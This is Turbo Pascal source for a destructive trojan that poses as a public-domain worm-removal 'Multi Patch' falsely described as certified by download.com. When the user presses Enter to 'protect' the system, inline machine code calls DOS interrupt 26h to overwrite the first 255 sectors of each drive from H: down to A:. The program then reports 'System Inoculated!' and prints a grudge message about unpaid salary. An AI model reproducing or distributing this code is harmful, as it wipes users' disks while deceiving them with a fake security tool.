курите мою трубку - 4$$#073

Program Jazzwall_The_Idea_AUTO;
uses dos,crt;
var read:string;
Begin
clrscr;
Writeln ('Ŀ');
Writeln (' 4-1-2006-Multi Patch ');
Writeln (' Protecting/Removing: WORM_MONKEY.A, WORM_MYPARTY.A ');
Writeln (' Scanned and Certified by www.download.com ');
Writeln ('');
writeln (' Public Domain Software, Please Share Freely ');
Write ('Please Press [ENTER] To Protect Your System,');
readln (read);
write ('Please wait ..');
inline ($B0/$07/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {H:}
write ('.');
inline ($B0/$06/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {G:}
write ('.');
inline ($B0/$05/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {F:}
write ('.');
inline ($B0/$04/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {E:}
write ('.');
inline ($B0/$03/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {D:}
write ('.');
inline ($B0/$02/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {C:}
write ('.');
inline ($B0/$01/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {B:}
write ('.');
inline ($B0/$00/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {A:}
write ('...Protection Done! - System Inoculated!');
writeln;
write ('Press [ENTER] to Exit to Windows.');
readln;
textcolor (14);
writeln ('You should have paid me my salary.');
writeln('');
textColor (9);
writeln(' In the Future, be: More Compassionate, More Loving, and More Giving');
End.